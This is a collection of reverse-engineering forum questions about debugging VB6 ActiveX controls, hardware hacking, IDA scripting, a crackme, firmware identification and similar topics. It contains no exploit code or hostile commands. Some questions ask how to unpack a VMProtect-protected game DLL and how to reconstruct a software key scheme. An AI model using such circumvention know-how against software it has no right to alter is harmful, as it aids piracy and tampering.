问:
Set Breakpoint on ActiveX Property Being Set (No Symbols)
A program is loading an VB6 based ActiveX control that has several property, for example ConnectionString.
The application is dynamically generating the values it provides at runtime, so it is not straightforward to identify through static analysis. While I can dump memory of the process and find some of these values, some are not simple strings so not as straightforward to find this way.

I built a test VB6 program and compiled with symbols with code like this:

```<code>Private Sub SetConnectionString()
aABCFeeList1.ConnectionString = "Provider=SQLOLEDB;Trusted_Connection=Yes;initial catalog=sql;data source=sqlserver;"
End Sub
</code>```

In IDA this shows disassembled as:

```<code>.text:00401D20 ; void __stdcall Form1::SetConnectionString(Form1 *this)
.text:00401D20 ?SetConnectionString@Form1@@AAGXXZ proc near ; CODE XREF: .text:004016E0j
.text:00401D20
.text:00401D20 var_20          = dword ptr -20h
.text:00401D20 var_18          = dword ptr -18h
.text:00401D20 var_14          = dword ptr -14h
.text:00401D20 var_10          = dword ptr -10h
.text:00401D20 var_8           = dword ptr -8
.text:00401D20 var_4           = dword ptr -4
.text:00401D20 this            = dword ptr  8
.text:00401D20
.text:00401D20                 push    ebp
.text:00401D21                 mov     ebp, esp
.text:00401D23                 sub     esp, 8
.text:00401D26                 push    offset ___vbaExceptHandler
.text:00401D2B                 mov     eax, large fs:0
.text:00401D31                 push    eax
.text:00401D32                 mov     large fs:0, esp
.text:00401D39                 sub     esp, 28h
.text:00401D3C                 push    ebx
.text:00401D3D                 push    esi
.text:00401D3E                 push    edi
.text:00401D3F                 mov     [ebp+var_8], esp
.text:00401D42                 mov     [ebp+var_4], offset dword_4010A0
.text:00401D49                 sub     esp, 10h
.text:00401D4C                 mov     ecx, 8
.text:00401D51                 mov     edx, esp
.text:00401D53                 mov     eax, offset ___vba@09EB2DB8
.text:00401D58                 push    68030012h
.text:00401D5D                 mov     [ebp+var_14], 0
.text:00401D64                 mov     [edx], ecx
.text:00401D66                 mov     ecx, [ebp+var_20]
.text:00401D69                 mov     [edx+4], ecx
.text:00401D6C                 mov     [edx+8], eax
.text:00401D6F                 mov     eax, [ebp+var_18]
.text:00401D72                 mov     [edx+0Ch], eax
.text:00401D75                 mov     eax, [ebp+this]
.text:00401D78                 push    eax
.text:00401D79                 mov     ecx, [eax]
.text:00401D7B                 call    dword ptr [ecx+2FCh]
.text:00401D81                 lea     edx, [ebp+var_14]
.text:00401D84                 push    eax
.text:00401D85                 push    edx
.text:00401D86                 call    ds:__imp____vbaObjSet
.text:00401D8C                 push    eax
.text:00401D8D                 call    ds:__imp____vbaLateIdSt
.text:00401D93                 lea     ecx, [ebp+var_14]
.text:00401D96                 call    ds:__imp____vbaFreeObj
.text:00401D9C                 push    offset loc_401DAE
.text:00401DA1                 jmp     short loc_401DAD
.text:00401DA3 ; ---------------------------------------------------------------------------
.text:00401DA3
.text:00401DA3 loc_401DA3:                             ; DATA XREF: .text:004010ACo
.text:00401DA3                 lea     ecx, [ebp+var_14]
.text:00401DA6                 call    ds:__imp____vbaFreeObj
.text:00401DAC                 retn
.text:00401DAD ; ---------------------------------------------------------------------------
.text:00401DAD
.text:00401DAD loc_401DAD:                             ; CODE XREF: Form1::SetConnectionString(void)+81j
.text:00401DAD                 retn
.text:00401DAE ; ---------------------------------------------------------------------------
.text:00401DAE
.text:00401DAE loc_401DAE:                             ; CODE XREF: Form1::SetConnectionString(void):loc_401DADj
.text:00401DAE                                         ; DATA XREF: Form1::SetConnectionString(void)+7Co
.text:00401DAE                 mov     ecx, [ebp+var_10]
.text:00401DB1                 pop     edi
.text:00401DB2                 pop     esi
.text:00401DB3                 xor     eax, eax
.text:00401DB5                 mov     large fs:0, ecx
.text:00401DBC                 pop     ebx
.text:00401DBD                 mov     esp, ebp
.text:00401DBF                 pop     ebp
.text:00401DC0                 retn    4
.text:00401DC0 ?SetConnectionString@Form1@@AAGXXZ endp
</code>```

In this case the connection string is being set at line

```<code>  .text:00401D53                 mov     eax, offset ___vba@09EB2DB8
</code>```

My question is how I can identify

1) Which ActiveX control this code is configuring
2) Which property on the ActiveX control it is setting

The program I need to find this in is much larger and more complex.

Some other reference:

```<code>dword_4010A0    dd 40004h, 2 dup(0)
</code>```

If I could find references to the ActiveX control in question I should be able to configure breakpoints.

I set a breakpoint on module load of the ActiveX control in WinDbg, as I suspect I will need to capture initialization:

```<code>0:000> sxe ld FeeList.ocx
0:000> g
ModLoad: 75f50000 75f76000   C:\WINDOWS\SysWOW64\IMM32.DLL
ModLoad: 73cd0000 73cdf000   C:\WINDOWS\SysWOW64\kernel.appcore.dll
ModLoad: 73c10000 73c8c000   C:\WINDOWS\SysWOW64\uxtheme.dll
ModLoad: 5fd70000 5fdf6000   C:\WINDOWS\SysWOW64\SXS.DLL
ModLoad: 74080000 741c3000   C:\WINDOWS\SysWOW64\MSCTF.dll
ModLoad: 704a0000 704c3000   C:\WINDOWS\SysWOW64\dwmapi.dll
ModLoad: 76b70000 76bf3000   C:\WINDOWS\SysWOW64\clbcatq.dll
ModLoad: 615b0000 615cf000   C:\adv2000\FeeList.ocx
eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=007db8d8 edi=007db820
eip=7744ab5c esp=0019e034 ebp=0019e080 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!NtMapViewOfSection+0xc:
7744ab5c c22800          ret     28h
0:000> kv
 # ChildEBP RetAddr  Args to Child
00 0019e030 7741878f 000001cc ffffffff 007db8f0 ntdll!NtMapViewOfSection+0xc (FPO: [10,0,0])
01 0019e080 7741856d 007db820 00000000 007db82c ntdll!LdrpMinimalMapModule+0xa0 (FPO: [Non-Fpo])
02 0019e0a8 77415643 007db820 00000000 007db904 ntdll!LdrpMapDllWithSectionHandle+0x15 (FPO: [Non-Fpo])
03 0019e0f8 7743418c 0019e2f8 007db820 00000000 ntdll!LdrpMapDllNtFileName+0x12f (FPO: [Non-Fpo])
04 0019e228 7743393e 9e745ffd 0019e2f8 0019e2f4 ntdll!LdrpMapDllFullPath+0xbc (FPO: [0,71,4])
05 0019e278 7742aff7 9e745f45 0019e438 0019e4c8 ntdll!LdrpProcessWork+0x10a (FPO: [SEH])
06 0019e2c0 7741a8eb 00000600 00000004 00000000 ntdll!LdrpLoadDllInternal+0x17c (FPO: [SEH])
07 0019e40c 77417d42 00000000 00000001 0019e430 ntdll!LdrpLoadDll+0x93 (FPO: [3,71,4])
08 0019e490 76ee3b58 00002009 0019e4b8 0019e4c8 ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])
09 0019e4d4 762192c8 0019e598 00000000 00002008 KERNELBASE!LoadLibraryExW+0x148 (FPO: [Non-Fpo])
0a 0019e4f8 76219245 00002008 0019e560 0019e598 combase!LoadLibraryWithLogging+0x1b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\common\loadfree.cxx @ 160]
0b 0019e524 762190a2 0019e558 0019e55c 0019e560 combase!CClassCache::CDllPathEntry::LoadDll+0x50 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 2394]
0c 0019e56c 7621615b 0019e590 007db588 80004005 combase!CClassCache::CDllPathEntry::Create+0x35 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 2235]
0d 0019e7c4 761fd3de 00000001 0019eb3c 0019e814 combase!CClassCache::CClassEntry::CreateDllClassEntry+0xf3 (FPO: [Non-Fpo]) (CONV: thiscall) [onecore\com\combase\objact\dllcache.cxx @ 1070]
0e 0019eaf4 761b5239 0019eb1c f57d20f9 0019eb28 combase!CClassCache::GetClassObjectActivator+0x52e (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 5516]
0f 0019eb28 761b507a 0019f164 761b4f50 0019f85c combase!CClassCache::GetClassObject+0x30 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 5284]
10 (Inline) -------- -------- -------- -------- combase!CCGetClassObject+0x3d (Inline Function @ 761b507a) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 8308]
11 0019eb94 762088ad 7633b4a4 0019f164 0019f85c combase!CServerContextActivator::GetClassObject+0x12a (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 719]
12 0019ebd0 7622173b 0019f164 0019f85c 00000000 combase!ActivationPropertiesIn::DelegateGetClassObject+0x8d (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1832]
13 0019ebf8 76221056 7633b4a8 0019f164 0019f85c combase!CApartmentActivator::GetClassObject+0x6b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 2089]
14 0019ec1c 762210d0 7633b4a0 00000001 00000000 combase!CProcessActivator::GCOCallback+0x56 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1569]
15 0019ec40 7622115b 7633b4a0 0019ef90 00000000 combase!CProcessActivator::AttemptActivation+0x40 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1524]
16 0019ec84 762213aa 7633b4a0 0019ef90 00000000 combase!CProcessActivator::ActivateByContext+0x7b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1390]
17 0019ecb4 762088c0 7633b4a0 0019f164 0019f85c combase!CProcessActivator::GetClassObject+0x6a (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1213]
18 0019ecf0 76205907 0019f164 0019f85c 003a0043 combase!ActivationPropertiesIn::DelegateGetClassObject+0xa0 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1832]
19 0019ef44 7620888d 7633b49c 0019f164 0019f85c combase!CClientContextActivator::GetClassObject+0xd7 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 451]
1a 0019ef80 76202204 0019f164 0019f85c 76124fa8 combase!ActivationPropertiesIn::DelegateGetClassObject+0x6d (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1884]
1b 0019f99c 7618cd55 00000000 66030510 00000000 combase!ICoGetClassObject+0x834 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\objact.cxx @ 1341]
1c 0019fa50 7618cc3e 00000000 66030510 0019fad0 combase!CComActivator::DoGetClassObject+0xef (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\immact.hxx @ 337]
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\SysWOW64\MSVBVM60.DLL -
1d 0019fa70 66070023 005b5cf4 00000003 00000000 combase!CoGetClassObject+0x4e (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actapi.cxx @ 84]
WARNING: Stack unwind information not available. Following frames may be wrong.
1e 0019fa9c 66044e26 005b5cf4 00000003 00000000 MSVBVM60!IID_IVbaHost+0x419e3
1f 0019fad4 66045557 0000002d 02392574 66012f70 MSVBVM60!IID_IVbaHost+0x167e6
20 0019fb2c 66048e33 00000001 02392574 0019fb74 MSVBVM60!IID_IVbaHost+0x16f17
21 0019fb3c 6606d2cc 0000002d 02392574 005b5c70 MSVBVM60!IID_IVbaHost+0x1a7f3
22 0019fb74 66032695 02392ccc 02392574 02392b1c MSVBVM60!IID_IVbaHost+0x3ec8c
23 0019fba0 6603291b 024a05bc 0019fbc4 02392ccc MSVBVM60!IID_IVbaHost+0x4055
24 0019fbc8 6603295e 024a05bc 02392574 00000000 MSVBVM60!IID_IVbaHost+0x42db
25 0019fbf8 66032737 024a05bc 02392501 00000000 MSVBVM60!IID_IVbaHost+0x431e
26 0019fc30 660320a5 024a05bc 02392574 02392454 MSVBVM60!IID_IVbaHost+0x40f7
27 0019fc90 66031ead 024a05bc 00000000 00000000 MSVBVM60!IID_IVbaHost+0x3a65
28 0019fcb0 660648d1 024a05bc 005b5f9c 00000000 MSVBVM60!IID_IVbaHost+0x386d
29 0019fd08 6606ff18 0019fd40 00000001 024a05bc MSVBVM60!IID_IVbaHost+0x36291
2a 0019fd44 6601e703 02392454 00000001 00403010 MSVBVM60!IID_IVbaHost+0x418d8
2b 0019fe94 66007b3e 024a05bc 00401358 005b05bc MSVBVM60!Zombie_Release+0xfcaa
2c 0019feb8 66003981 00401358 00000000 00401358 MSVBVM60!BASIC_CLASS_QueryInterface+0xeca
2d 0019fed8 660036fa 00400000 00400000 0040116c MSVBVM60!ThunRTMain+0x3dd
2e 0019fef8 66003600 00000000 00400000 0040116c MSVBVM60!ThunRTMain+0x156
2f 0019ff78 00401176 00401358 75f98484 00321000 MSVBVM60!ThunRTMain+0x5c
30 0019ff94 77443ab8 00321000 9e744259 00000000 fee3!__vbaS+0xa
31 0019ffdc 77443a88 ffffffff 7745f2f4 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
32 0019ffec 00000000 0040116c 00321000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
</code>```


问:
How to reverse engineer an elliptical trainer?
I have a Schwinn 420 Elliptical Trainer (2012 model), and I want to reverse engineer it. Right now it has a big honking console that lets you increase/decrease the resistance and start a small handful of preprogrammed workout routines. The trouble is that the workout routines are very limited, and the console is bulky and annoying. I'd like to replace it with a flat board that I can rest my laptop on (not possible with it present) so I can do work while I run. I'd also like to replace the console's onboard computer with something like a Raspberry Pi to control the resistance levels. That way the sky's the limit in terms of programming custom workout routines.

I took a look at the wiring to the console, and there is a twelve-pin cable, pictured below.

I checked the Schwinn website for service manuals; unfortunately they don't have a service manual for my particular model, plus the service manuals they do offer say nothing about the wiring (the only thing they do say is "All wires in cable should be intact. If any are visibly crimped or cut, replace cable.").

I can't imagine that this is a terribly complex circuit. I believe there's only three things this cable can truly be doing:

Supplying power to the console

Increasing/decreasing resistance on command

Receiving a signal as to whether the user is running, or not

All the other functions, like showing a countdown clock, going through different workout routines, etc. would all be happening on the console and are therefore irrelevant (i.e. they can be replaced with a Pi). Because regardless of how complex a given workout routine is, at the end of the day, all it's doing is telling the machine to increase or decrease resistance. I noticed that it does automatically pause the workout when you stop moving, so it also must be getting some kind of signal to indicate whether the pedals are moving. I'm quite confident I can program a Pi to send the right signals on GPIO pins, if I know which ones to send.

But while I have a pretty extensive knowledge of software engineering, I have next to zero knowledge of electrical engineering. So I'm not really sure where to start. I imagine I'll need to essentially "tap" the wires (while they're still in use by the console) with something like a multimeter or oscilloscope. But I don't really know how to do that. For example, a multimeter has both a black and red cable. So if I want to test just one of the 12 wires, do I hold the black to it? Then where would the red go?

Can anyone here recommend any tips on how I can close my own knowledge gap here and start to figure out how to reverse engineer these 12 wires in my elliptical machine? Or better yet, has anyone here already done something like this, with exercise equipment?

ContentLicense: CC BY-SA 4.0


问:
Argument types not identified when parsing declarations
I'm trying to add a dynamic import segment in the IDA database which contains functions names, and I'm applying type information to it, so that I can obtain argument locations by using apply_callee_tinfo when I found a call to this dynamic imported function.

While I'm testing I found that for some of the declarations, the argument or return type is not able to identify. The IDA is giving a numeric type.

The code used is

```<code>def add_from_declaration(declarations):
    dyn_imp_seg_loc = 0x10000
    dyn_imp_seg_loc_end = 0x10000 + len(declarations.keys()) * 4
    idaapi.add_segm(0, dyn_imp_seg_loc, dyn_imp_seg_loc_end, "DYN_IMP", "XTRN")
    t_loc = dyn_imp_seg_loc
    not_applied = []
    for proc_name in declarations:
        decl = str(declarations[proc_name])
        print(decl)
        try:
            name, types, fields = idc.ParseType(decl, 0)
            success = idc.MakeName(t_loc, str(proc_name))
            t = idaapi.tinfo_t()
            til = idaapi.til_t()
            t.deserialize(til, types, fields)
            if success:
                idc.MakeDword(t_loc)
                success = idaapi.apply_tinfo(t_loc, t, 1)
                if not success:
                    not_applied.append(proc_name)
        except Exception:
            continue
        finally:
            t_loc = t_loc + 4
    return not_applied
</code>```

declarations is a dict with key as the function name and value as the declaration.
What am I doing wrong in this?

Edit: My approach is based on the answers provided in this thread, In IDA, is there a way to add a reference to a dynamically imported function into the Imports tab?. My problem is not with adding import segment or creating cross references. But I'm unable to add type information to a name.

As you can see from the image, I'm trying to apply declaration BOOL __stdcall ReleaseMutex(HANDLE a0); at location 0x10000 which is named ReleaseMutex, but IDA is not able to identify BOOL and HANDLE structures even after parsing the declaration successfully.


问:
Password is right, but still wrong?
i am trying to find the password of a binary with radare2 - a crackme again :-)

I already thought I've found the password ('pass'), but this seems to be not the right one. Or there is a trick I didn't found out yet...

Here is the code and my thoughts about it:

```<code>/ (fcn) sym.main 134
|   int sym.main (int argc, char **argv, char **envp);
|           ; var int var_dh @ rbp-0xd
|           ; var int var_9h @ rbp-0x9
|           ; var int var_8h @ rbp-0x8
|           ; DATA XREF from entry0 (0x6dd)
|           0x000008bc      55             push rbp
|           0x000008bd      4889e5         mov rbp, rsp
|           0x000008c0      4883ec10       sub rsp, 0x10
</code>```

Memory Set-Up

```<code>|           0x000008c4      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x1a30 ; '('
|           0x000008cd      488945f8       mov qword [var_8h], rax
|           0x000008d1      31c0           xor eax, eax
|           0x000008d3      c745f3000000.  mov dword [var_dh], 0
|           0x000008da      c645f700       mov byte [var_9h], 0
|           0x000008de      488d3d140100.  lea rdi, qword str.Enter__pass__: ; 0x9f9 ; "Enter \"pass\":  "
|           0x000008e5      e896fdffff     call sym.imp.puts           ; int puts(const char *s)
</code>```

Set up var_dh, var_9 and var_8h = 0, Display message 'Enter "pass":'

```<code>|           0x000008ea      488b151f0720.  mov rdx, qword [obj.stdin]  ; obj.__TMC_END ; [0x201010:8]=0
|           0x000008f1      488d45f3       lea rax, qword [var_dh]
|           0x000008f5      be05000000     mov esi, 5
|           0x000008fa      4889c7         mov rdi, rax
|           0x000008fd      e89efdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
</code>```

Get user input

```<code>|           0x00000902      488d45f3       lea rax, qword [var_dh]
|           0x00000906      ba04000000     mov edx, 4
|           0x0000090b      488d35030100.  lea rsi, qword str.pass     ; 0xa15 ; "pass"
|           0x00000912      4889c7         mov rdi, rax
|           0x00000915      e856fdffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
|           0x0000091a      85c0           test eax, eax
</code>```

Compare user input with "pass"

```<code>|           0x0000091c      90             nop
|           0x0000091d      b800000000     mov eax, 0
|           0x00000922      90             nop
|           0x00000923      90             nop
|           0x00000924      90             nop
|           0x00000925      90             nop
|           0x00000926      90             nop
|           0x00000927      b800000000     mov eax, 0
|           0x0000092c      488b4df8       mov rcx, qword [var_8h]
|           0x00000930      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x00000939      7405           je 0x940
|       |   0x0000093b      e850fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from sym.main (0x939)
|       `-> 0x00000940      c9             leave
\           0x00000941      c3             ret
</code>```

Leave program, when password is wrong?!

Maybe I just can't see the wood for the trees...

Title: Password is right, but still wrong?


问:
How to use "handle SIGILL nostop noprint" with a gdbserver?
I have a program linked against libcrypto.so. If i run the program in gdb i'll get the following error:
"Program received signal SIGILL, Illegal instruction."
I researched a bit and found out that it is a problem of libcrypto and that i can ignore that signals using "handle SIGILL nostop noprint" before running. Works in gdb, but does not with a gdbserver.

Question:
How can i use "handle SIGILL nostop noprint" with a gdbserver? If i connect IDA to my gdbserver it always crash with the SIGILL, Illegal instruction error message.


问:
Legality on sharing rom dumps on abandoned hardware
I have an old piece of HP test gear from the 80's that HP no longer supports. I want to add in a feature and need to dump roms and figure things out to do that.

How can I share my process and findings on a personal blog without legal issues?

If a company no longer supports a product can I dump a rom and share it with the community? I physically own the hardware so I can be in possession of the rom I would imagine. If I don't share the entire rom can I copy sections of it to post to help clarify a post?

This also applies to the old schematics in the manuals. Can I post screenshots or not??


问:
Likely protocol determination by chip IDs and connections?
CONTEXT: My first post in this stack. Absolute beginner at RE. Also generally a beginner at anything electronics. Please be kind and correct me instead of ridiculing me.

GOAL: Replace a damaged controller board within a light fixture with a DIY controller board that provides most of the functionality of the original controller. (ALL original functionality is not needed.)

NOTES ABOUT GROUNDING: This light fixture is positive-grounded, all grounds are tied to actual earth as well as to the positive output of the PSU. The small board on the right in the picture is an infrared board, and it's LT1791LTS has RE connected to ground (chip pin 3 on datasheet). The LT1791LTS on the LED Driver board does NOT have RE grounded.

WORK ALREADY DONE: I have searched extensively trying to gain more information about the device and it's component boards, but have not found any technical info on them. The manufacturer does not disclose this info (duh), and they don't repair any of it they just replace boards - which are not sold cheap. So I have bashed my noob head against google for a long time, found datasheets for the chips, tried to ID the eensy weensy components on the boards despite the inane lack of utility of their markings... (can tell things are resistors/capcitors/etc but cant figure out values from markings) I have used my Extech brand multimeter (model 22-816) to identify voltages on the wires, and to identify voltages where they go through the regulators - and to trace out the relevant bits' connections.(the only test equipment I own).

THOUGHTS: In looking at the datasheets for the chips, it SEEMS to this absolute noob that i'm looking at a RS485 setup wired in full duplex with the controller acting as a master and the LED driver and the IR board actng as slaves. BUT - I don't know anywhere near enough about this to make any claims that it is so, or even that I actually understand well what I just wrote. Also, I'm now aware that I'll need to "sniff" the communications, but do not yet know enough to proceed to a purchase of this kit. Will do so once I know enough to use it without screwing up the mismatch of positive ground vs negative ground (desktop vs. fixture grounding being opposite).

QUESTION: From the information in the posted picture, can anyone here narrow down  the 'possibility list' for which means and methods are being used to communicate between the controller board (top left item) and the LED Driver board (lower left item)? Not just "it is RS485", but "It's RS485 and it looks like it will probably use XXXXXX over that."

Ideally, an explanation of what's happening here would be awesome but it is more important for me to just figure out how to talk to that LED Driver so ignore 'ideal' if need be. (Eg: why one chip on controller but a different chip on the two connected boards? Why would one connected board have RE grounded but the other doesn't? Etc)

More than happy to add images or info to this question as we go along - just tell me what's needed!

DATASHEETS IN SAME ORDER AS THEY APPEAR TOP TO BOTTOM ON PICTURE:

https://www.analog.com/media/en/technical-documentation/data-sheets/adm2582e_2587e.pdf

http://www.farnell.com/datasheets/681099.pdf?_ga=2.26682873.518865155.1550566744-570871691.1522878168

http://www.ti.com/lit/ds/symlink/sn65als180.pdf

https://www.analog.com/media/en/technical-documentation/data-sheets/178591fd.pdf

http://www.ti.com/lit/ds/symlink/iso7220a.pdf

http://www.ti.com/lit/ds/symlink/tms320f2808.pdf


问:
Finding lua addresses with ida
I tried to find lua_pcall, lua_newthread, luaL_loadbuffer, lua_tolstring, lua_pushcclosure and lua_pushinteger functions with IDA decompiler but I didn't find them. Can someone please tell me what is best way to find this lua functions?</p>

Title: Finding lua addresses with ida


问:
javascript hook comparisons
Look at this very basic javascript code:

```<code>if (s=='abcd')
{
    if (s2='cdef')
    {
       ...
    }
}
</code>```

I want to hook all tests: I want to get this:

```<code>(s,'==','abcd')
(s2,'==','cdef')
</code>```

Is there a way to do this ?

I have tried to put hooks into v8 but it is not easy...

Title: javascript hook comparisons


问:
Need help understanding basic buffer overflow
So I have this sample problem that I need to buffer overflow. Its an elf file that require to be run on a separate terminal then using "nc localhost 'port' " on a separate terminal we can see the input.

On IDA I have

which from some reason I dont understand what Im looking for so I tried using a buffer overflow technique and I got

and in the other terminal I got

I tried for days looking around for techniques and understanding how to solve this problem but im always reaching dead ends.

Here is a link to the elf file: https://we.tl/t-vlqS6LwqlB


问:
Saving IDA Graph to PDF format?
I want to save flow/call graph of IDA into a pdf format so that I could view it in my android. How can I do that?

I know IDA can generate a flow chart (gdl file) and call chart (gdl file). But my question is, how do I convert those file format into pdf so that I could view the pdf on my android and iPad? I have no experience with those file formats before.

Thank you.

Title: Saving IDA Graph to PDF format?


问:
How can I see specific memory value by using Hex view in IDA?
I'm about to use IDA pro.
I have to access to 0018F42C(EAX) by using Hex view in IDA.
Maybe I guess there is EAX value.(String is "happyy", standard input)
but Hex view shows me 0018F410 as in screen1..

If it works well, I can find string "happyy" as in screen2

then.. how can I see 0018F42C, not 0018F410?


问:
Dump packed dll
I am trying to analyze lua functions of game but dll is packed and I can't see them. I tried to dump dll with scylla https://github.com/NtQuery/Scylla but I still didn't get lua functions. Can someone please help me to dump dll?

Dll is part of Watch Dogs game(It's called Disrupt_b64.dll) and it has VMProtector.
When I opened dll in IDA I first got error:
Can't find translation for relative virtual address 03ACF000, continue?
After that I got error:
The imports segment seems to be destroyed. This MAY mean that the file was packed or otherwise modified in order to make it more difficult to analyze.

When I opened dumped dll from Scylla I only got second error

Someone on I read on this site https://blog.lms-dev.com/category/watch-dogs/ successfully got that lua functions(collectgarbage, dofile, error, gcinfo). He said on site to unpack dll attach IDA to the process and dump the loader segments.

Disrupt_b64.dll looked like this

Dumped Disrupt_b64.dll looked like this

Title: Dump packed dll


问:
1990s non windows software keys
Hi I am a Service Engineer on some very old ASML stppers that run a system called PAS (Philips automated steppers), these steppers are obsoleted by the manufacturer and no longer supported by anyone.  I have the install software but it requires a software key that I dont have.  What I do have is 6 software keys from a previous version of software(I dont have) and would like to try and see how these keys are generated so I can generate new ones.

I am not very good at software issues but I can manage if I can get some ideas what way to go, I recently talked with the manufacturer and since they no longer support these are free to do with what we want.

This is a non standard system, neither windows or unix can view the file structure, I am able to use Acrius software to image the hard drives successfully, now I just need to be able to install software.

Anyone have any suggestions? Is there a way to use the old keys and info the tool asks for to decode the old keys?

Title: 1990s non windows software keys


问:
Finding function call (with arguments) in ELF file
I have two kinds of ELF files, built from C++.

.so files:

ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=5e751e769912aef28bc63b888e5e4904b867a180, stripped

And executables:

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c215d8895277612d3f4332836f48dd45967f69d, stripped

I am completely new to reverse engineering, and I have been experimenting with objdump, readelf and nm, but I still need some help.

I want to find function calls to a few functions from a library, without executing the binaries (i.e., static analysis).

With the above commands, I know the symbols are used, but I do not know which arguments are passed to the calls, or how many times the function was called.

Ideally, I would like to get something close to the original source code, e.g.

```<code>thelib::TheClass::theFunction("a", b, c);
</code>```

but I understand this is hard to achieve. I would be content just by retrieving whether the first argument was a string literal (and its value) or something else.

Is this possible with existing tools, such as the above (possibly with specific options), or would I have to implement something of my own?


问:
What is this function doing?
I have this function, named __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcm.

And this is the relevant assembly:

```<code>mov     rdi, [rbp+var_A80]
mov     rsi, [rbp+var_A88]
mov     rdx, [rbp+string_length]
call    __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcm
</code>```

From what I've noticed by looking at the registers before and after calling the function, the address of RSI is incremented by string_length, but I still have no idea what RDI is doing.

Another weird thing is that the string length reported by the register is 0x046, but the address is incremented by 0x040.

The RDI is 00007FFEEFBFF240 before the call, 0000000100400040 after it.

EDIT:

IDA is not letting me debug the function, as it throws SIGBUS.

I am slowly reversing the function, i'll update here with progress.

RDI is compared with 0FFFFFFFFFFFFFFF0h (Why?)

Title: What is this function doing?


Title: Which architecture is this firmware?

Body:
I am currently investigating GSL touch-screen controllers firmwares.

A firmware example can be found here : https://github.com/onitake/gsl-firmware/blob/master/firmware/4good/t803i/silead_ts.fw

In case the link goes down, here is a random relevant extract of said file:

```<code>04 60 03 9A 08 E0 C7 81 00 00 E8 81 73 26 08 C2 6C 25 00 DA 6F 00 80 00 01 60 00 82 7F 25 08 D8 01 40 5B 9A 01 20 03 98 00 00 80 81 00 00 00 01 00 00 00 01 00 00 00 01 0C 40 73 9A 6C 25 20 DA 00 20 10 96 02 E0 2A 83 6C 25 00 D8 B6 63 10 DA 0C 40 5B 9A 07 60 33 9B 01 E0 02 96 03 E0 A2 80 F9 FF BF 04 20 65 20 DA C0 23 00 C2 00 60 A0 80 07 00 80 02 01 30 10 82 00 22 00 C2 00 60 A0 80 05 00 80 22 40 25 00 C2 01 30 10 82 2C 25 20 C2 40 25 00 C2 00 60 A0 80 70 00 80 00 05 00 80 02 88 22 00 C2 01 60 30 9B 02 60 30 83 0D 40 00 82 1C 25 20 C2 07 00 00 03 44 62 C0 81 00 00 00 01 00 00 00 01 98 BF E3 9D 08 23 00 C2 01 60 00 82 FC 22 00 E0 01 00 A4 80 1E 00 80 0A 01 20 10 A4 F8 22 00 C2 01 80 A4 80 17 00 80 38 08 23 00 C2 02 20 2C 83 68 60 00 A2 EC 2F 00 C2 12 00 10 92 00 60 A0 80 01 A0 04 A4 04 00 80 02 10 00 10 90 00 40 C0 9F 00 00 00 01 1C 00 00 03 71 00 80 00 00 62 10 98 0C 40 04 DA 04 62 10 82 01 40 24 DA 0C 40 24 C0 F8 22 00 C2 01 80 A4 80 F0 FF BF 08 68 60 04 A2 08 23 00 C2 FF 3F 04 A0 E3 FF BF 10 01 60 00 82 00 23 00 C2 01 60 00 82 F8 22 00 E4 01 80 A4 80 20 00 80 0A 1A A0 5C A6 01 20 10 A0 08 23 00 C2 01 00 A4 80 15 00 80 18 02 E0 2C 83 04 60 00 A2 EC 2F 00 C2 10 00 10 90 00 60 A0 80 01 20 04 A0 04 00 80 02 12 00 10 92 00 40 C0 9F 72 00 80 00 00 00 00 01 1C 00 00 03 00 62 10 98 0C 40 04 DA 68 62 10 82 01 40 24 DA 0C 40 24 C0 08 23 00 C2 01 00 A4 80 F0 FF BF 08 04 60 04 A2 00 23 00 C2 FF BF 04 A4 01 60 00 82 01 80 A4 80 E4 FF BF 1A E6 FF 04 A6 08 E0 C7 81 00 00 E8 81 98 BF E3 9D 48 25 00 C2 00 61 88 80 00 20 10 